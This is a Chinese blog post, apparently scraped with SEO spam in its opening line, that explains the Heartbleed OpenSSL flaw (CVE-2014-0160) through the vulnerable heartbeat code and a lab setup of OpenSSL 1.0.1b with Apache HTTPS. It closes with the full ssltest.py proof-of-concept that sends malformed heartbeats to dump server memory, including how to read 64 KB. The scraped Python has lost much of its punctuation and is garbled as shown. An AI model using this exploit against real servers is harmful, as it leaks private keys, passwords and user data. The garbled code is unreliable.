甜品网站模板代码,秦皇岛市做公司网站的,上海哪里做网站,jsp网站开发大作业为什么80%的码农都做不了架构师#xff1f; 一、 漏洞原因分析 1. Openssl漏洞背景 2014年4月7日#xff0c;互联网安全协议OpenSSL被曝存在一个十分严重的安全漏洞。它被命名为“心脏出血”#xff0c;表明网络上出现了“致命内伤”。利用该漏洞#xff0… 为什么80%的码农都做不了架构师 一、 漏洞原因分析 1. Openssl漏洞背景 2014年4月7日互联网安全协议OpenSSL被曝存在一个十分严重的安全漏洞。它被命名为“心脏出血”表明网络上出现了“致命内伤”。利用该漏洞黑客可以获取约30%的https开头网址的用户登录账号密码其中包括购物、网银、社交、门户等类型的知名网站。另外该漏洞不仅是涉及到https开头的网址还包含间接使用了OpenSSL代码的产品和服务比如VPN、邮件系统、FTP工具等产品和服务甚至可能会涉及到其他一些安全设施的源代码。 2. 漏洞的具体描述 OpenSSL在实现TLS安全传输层协议和DTLS数据包传输层安全性协议的心跳处理逻辑时存在编码缺陷。OpenSSL的心跳处理逻辑没有检测心跳包中的长度字段是否和后续的数据字段相符合攻击者可以利用这点构造异常的数据包来获取心跳数据所在的内存区域的后续数据。这些数据中可能包含了证书私钥、用户名、用户密码、用户邮箱等敏感信息。该漏洞允许攻击者从内存中读取多达64KB的数据。 3. Openssl受影响的版本 OpenSSL1.0.1、1.0.1a 、1.0.1b 、1.0.1c 、1.0.1d 、1.0.1e、1.0.1f、Beta 1 of OpenSSL 1.0.2等版本。 4. 漏洞源码分析 该漏洞主要是内存泄露问题而根本上是因为OpenSSL在处理心跳请求包时没有对length字段占2byte可以标识的数据长度为64KB和后续的data字段做合规检测。生成心跳响应包时直接用了length对应的长度从堆空间申请了内存既便是真正的请求data数据远远小于length标识的长度。 存在该漏洞的源文件有两个ssl/d1_both.c和ssl/t1_lib.c。 心跳处理逻辑分别是dtls1_process_heartbeat和tls1_process_heartbeat两个函数。 int dtls1_process_heartbeat(SSL *s) { //获取心跳请求包对应的SSLv3记录中数据指针字段指向request的请求数据部分。 unsigned char *p s-s3-rrec.data[0], *pl; unsigned short hbtype; unsigned int payload; unsigned int padding 16; /* Use minimum padding */ 结构体SSL3_RECORD的定义如下 typedef struct ssl3_record_st { int type; /* type of record */ unsigned int length; /* How many bytes available */ unsigned int off; /* read/write offset into buf */ unsigned char *data; /* pointer to the record data */ unsigned char *input; /* where the decode bytes are */ unsigned char *comp; /* only used with decompression - malloc()ed */ unsigned long epoch; /* epoch number, needed by DTLS1 */ unsigned char seq_num[8]; /* sequence number, needed by DTLS1 */ } SSL3_RECORD; 每条SSLv3记录中包含一个类型域type、一个长度域length和一个指向记录数据的指针data。在dtls1_process_heartbeat中 /* Read type and payload length first */ hbtype *p; n2s(p, payload); pl p; SSLv3记录的第一个字节标明了心跳包的类型。宏n2s从指针p指向的数组中取出前两个字节并把它们存入变量payload中——这实际上是心跳包载荷的长度域length。注意程序并没有检查这条SSLv3记录的实际长度。变量pl则指向由访问者提供的心跳包数据。 /* Allocate memory for the response, size is 1 byte * message type, plus 2 bytes payload length, plus * payload, plus padding */ buffer OPENSSL_malloc(1 2 payload padding); bp buffer; 所以程序将分配一段由访问者指定大小的内存区域这段内存区域最大为 (65535 1 2 16) 个字节。变量bp是用来访问这段内存区域的指针。 /* Enter response type, length and copy payload */ *bp TLS1_HB_RESPONSE; s2n(payload, bp); memcpy(bp, pl, payload); 宏s2n与宏n2s干的事情正好相反s2n读入一个16 bit长的值然后将它存成双字节值所以s2n会将与请求的心跳包载荷长度相同的长度值存入变量payload。然后程序从pl处开始复制payload个字节到新分配的bp数组中这里会发送内存中的敏感数据——pl指向了用户提供的心跳包数据。最后程序将所有数据发回给用户。 5. 漏洞问题总结 用户可以控制变量payload和pl成为可利用漏洞。如果用户并没有在心跳包中提供足够多的数据比如pl指向的数据实际上只有一个字节那么memcpy会把这条SSLv3记录之后的数据——无论那些数据是什么——都复制出来。这样就很可能将内存在一些敏感数据返回给心跳包请求者。 二、 漏洞场景还原 测试环境 OSUbuntu14.04 OpenSSL: Version 1.0.1b (没有打开NO_HEARTBEAX选项) HTTPS: Apache2 1. Openssl问题版本的编译安装。 为了进行漏洞现场的还原这里主要针对openssl问题版本在HTTPS 请求方面的问题所以首先下载openssl1.0.1b.tar.gz 源文件进行编译安装步骤如下 1在openssl官网下载历史版本openssl-1.0.1b.tar.gz解压文件到openssl-1.0.1b目录。 2编译安装文件 ./config --prefix/usr/local/ssl shared -fPIC no-gost Make make test make install 注 shared 是为了生成动态共享库用来替换系统在的openssl共享库主要是libssl.so和libcrypto.so 文件这个非常关键我刚开始走了很多的弯路虽然安装了漏洞版的openssl但是最后发现Linux内核的openssl的版本仍然没有被替换导致实验失败因此该实验一定要保证内核版本也是openssl漏洞版本。 3编译安装完成后在/usr/local/ssl/lib目录下找到libssl.so 和libcrypto.so 分别软连接或者直接拷贝到/usr/lib/x86_64-linux-gnu 和/lib/x86_64-linux-gnu目录下。 4重启系统问题版本openssl准备工作基本完成。 2. 用安装的openssl 生成ssl证书步骤如下。 1首先要生成服务器端的私钥(key文件): openssl genrsa -des3 -out server.key 1024 运行时会提示输入密码,此密码用于加密key文件(参数des3便是指加密算法,当然也可以选用其他你认为安全的算法.),以后每当需读取此文件(通过openssl提供的命令或API)都需输入口令.如果觉得不方便,也可以去除这个口令,但一定要采取其他的保护措施! 去除key文件口令的命令: openssl rsa -in server.key -out server.key 2openssl req -new -key server.key -out server.csr -config openssl.cnf 生成Certificate Signing RequestCSR,生成的csr文件交给CA签名后形成服务端自己的证书.屏幕上将有提示,依照其指示一步一步输入要求的个人信息即可. 3对客户端也作同样的命令生成key及csr文件: openssl genrsa -des3 -out client.key 1024 openssl req -new -key client.key -out client.csr -config openssl.cnf 4CSR文件必须有CA的签名才可形成证书.可将此文件发送到verisign等地方由它验证,要交一大笔钱,何不自己做CA呢. openssl req -new -x509 -keyout ca.key -out ca.crt -config openssl.cnf 5用生成的CA的证书为刚才生成的server.csr,client.csr文件签名: openssl ca -in server.csr -out server.crt -cert ca.crt -keyfile ca.key -config openssl.cnf openssl ca -in client.csr -out client.crt -cert ca.crt -keyfile ca.key -config openssl.cnf 3. Apache2 SSL的简洁配置方法(HTTPS的实现) 步骤如下 1在Ubuntu环境下直接使用sudo apt-get install apache2 进行安装。 2配置证书文件。Apache2所在目录为/etc/apache2 a. 在sites-available 目录下配置default-ssl.conf文件修改内容如下 SSLCertficateFile /etc/apache2/ssl/server.crt SSLCertificateKeyFile /etc/apache2/ssl/server.key default-ssl.conf文件的更多配置内容可以参考如下配置 b. 在 sites-available 目录下配置000-default.conf 文件修改如下 ServerName 192.168.152.132 //服务器域名或者地址 DocumentRoot /var/www/html/ //要访问的页面的位置如index.html 文件位置。 c. 将000-default.conf 和default-ssl.conf 俩个文件软连接至sites-enable 目录下可以使用如下命令: Ln -s ../sites-available/000-default.conf ../sites-enable/000-default.conf Ln -s ../sites-available/default-ssl.conf ../sites-enable/default-ssl.conf d. 配置ports.conf 文件 检查是否已经监听端口443 Listen 443 3用下面的命令确保ssl模块已经加载进apache了 Sudo a2enmod ssl 如果你看到了“Module ssl already enabled”这样的信息就说明你成功了 4用下面的命令启动Apache2 service apache2 restart 5最后在浏览器地址栏输入 https://192.168.152.132 如果可以访问就说明Apache2服务器搭建成功了。 4. 可利用POC程序进行测试步骤如下 1POC程序首先发送向OpenSSl服务端程序发送“hello”数据包。 2收到反馈信息后证明服务端开启并且连接正常。 3向服务端发送经修改过的心跳包。 4接收服务端返回的数据并解析出心跳包中的三个变量分别为SSL3_RECORD结构体中的type、length、data。 5判断type类型变量的值是否为空如果为空则服务端未返回数据判断为没有该漏洞如果为21则判断服务器报错判断为没有漏洞如果为24则心跳包正常继续判断返回数据长度是否大于3如果大于3则说明返回了大量服务端越界访问的内存数据判定为存在该漏洞。 心跳包的构造大致如下 HeartBeat Requst包 第二行01表示请求方向40 00表示响应包的长度占2个字节。此次dump 16 kb内存如果将40 00 改为ff ff 可以dump 64 kb 内存 Heartbleed 攻击的利用过程 注 POC程序为附件1的ssltest.py 文件。 用法为python ssltest.py ip/域名 -p 端口 5. 测试结果如下 从测试结果的截图中可以看出通过heartbleed漏洞可以获取大量内存数据。如果进行多次试验攻击者就很可能获得服务器内存中的一些隐私数据如用户账号密码等。 用wireshark 抓包分析结果如下可以看到得到大量的非法数据。 POC程序执行结果如下 参考文章 Openssl 漏洞分析 1. http://www.jb51.net/hack/398231.html 2. http://blog.existentialize.com/diagnosis-of-the-openssl-heartbleed-bug.html 3. http://www.techweb.com.cn/ucweb/news/id/2025856 Apache2 安装 http://www.linuxidc.com/Linux/2015-02/113588.htm Ssltest.py 源码如下
执行命令如 python ssltest.py 192.168.152.132 -p 443
#!/usr/bin/python# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguinjspenguin.org)
# The author disclaims copyright to this source code.import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParseroptions OptionParser(usage%prog server [options], descriptionTest for SSL heartbeat vulnerability (CVE-2014-0160))
options.add_option(-p, --port, typeint, default443, helpTCP port to test (default: 443))def h2bin(x):return x.replace( , ).replace(\n, ).decode(hex)hello h2bin(
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
)hb h2bin(
18 03 02 00 03
01 40 00
)def hexdump(s):for b in xrange(0, len(s), 16):lin [c for c in s[b : b 16]]hxdat .join(%02X % ord(c) for c in lin)pdat .join((c if 32 ord(c) 126 else . )for c in lin)print %04x: %-48s %s % (b, hxdat, pdat)printdef recvall(s, length, timeout5):endtime time.time() timeoutrdata remain lengthwhile remain 0:rtime endtime - time.time() if rtime 0:return Noner, w, e select.select([s], [], [], 5)if s in r:data s.recv(remain)# EOF?if not data:return Nonerdata dataremain - len(data)return rdatadef recvmsg(s):hdr recvall(s, 5)if hdr is None:print Unexpected EOF receiving record header - server closed connectionreturn None, None, Nonetyp, ver, ln struct.unpack(BHH, hdr)pay recvall(s, ln, 10)if pay is None:print Unexpected EOF receiving record payload - server closed connectionreturn None, None, Noneprint ... received message: type %d, ver %04x, length %d % (typ, ver, len(pay))return typ, ver, paydef hit_hb(s):s.send(hb)while True:typ, ver, pay recvmsg(s)if typ is None:print No heartbeat response received, server likely not vulnerablereturn Falseif typ 24:print Received heartbeat response:hexdump(pay)if len(pay) 3:print WARNING: server returned more data than it should - server is vulnerable!else:print Server processed malformed heartbeat, but did not return any extra data.return Trueif typ 21:print Received alert:hexdump(pay)print Server returned error, likely not vulnerablereturn Falsedef main():opts, args options.parse_args()if len(args) 1:options.print_help()returns socket.socket(socket.AF_INET, socket.SOCK_STREAM)print Connecting...sys.stdout.flush()s.connect((args[0], opts.port))print Sending Client Hello...sys.stdout.flush()s.send(hello)print Waiting for Server Hello...sys.stdout.flush()while True:typ, ver, pay recvmsg(s)if typ None:print Server closed connection without sending Server Hello.return# Look for server hello done message.if typ 22 and ord(pay[0]) 0x0E:breakprint Sending heartbeat request...sys.stdout.flush()s.send(hb)hit_hb(s)if __name__ __main__:main() 转载于:https://my.oschina.net/mzzyk/blog/679122